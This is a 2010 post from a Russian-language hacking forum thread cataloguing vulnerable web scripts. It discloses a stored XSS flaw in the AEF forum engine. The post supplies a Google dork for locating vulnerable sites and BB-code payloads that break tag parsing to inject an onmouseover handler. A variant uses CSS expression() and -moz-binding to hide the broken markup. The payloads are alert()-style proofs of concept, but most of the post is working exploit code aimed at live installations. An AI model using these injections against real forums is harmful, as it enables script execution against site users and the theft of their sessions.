Энциклопедия уязвимых скриптов

#11

08.04.2010, 13:42

Root-access

Участник форума

Регистрация: 18.06.2008

Сообщений: 222

С нами: 9419426

Репутация: 648

Продукт:: AEF (форумный движок)
Сайт:: http://www.anelectron.com
Дорк:: "Powered by AEF" (250 000 результатов)
Уязвимость:: Активная XSS.
Уязвимость присутствует из-за небезопасной обработки BB-тегов.
Можно вызвать разрушение тегов, и, как следствие, выполнение javascript-кода.
Пример эксплуатации:

Код:

[*url]http://asd.asd[*email]asd@asd.asd onmouseover=alert() bla=[*/email][*/url]

На выходе получаем:

Код:

<a href="http://asd.asd<a href="mailto:asd@asd.asd onmouseover=alert() bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a>" target="_blank">http://asd.asd<a href="mailto:asd@asd.asd onmouseover=alert() bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a></a>

Можно также провести атаку через стили (для ie и ff), тогда можно спрятать куски разрушенного тега:

Код:

[*url]http://asd.asd[*email]asd@asd.asd style=display:none;olo:expression(alert());-moz-binding:url() bla=[*/email][*/url]

Последний раз редактировалось Root-access; 08.04.2010 в 13:47..

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Библиотека

SladerNon

Болталка

05.02.2007 23:30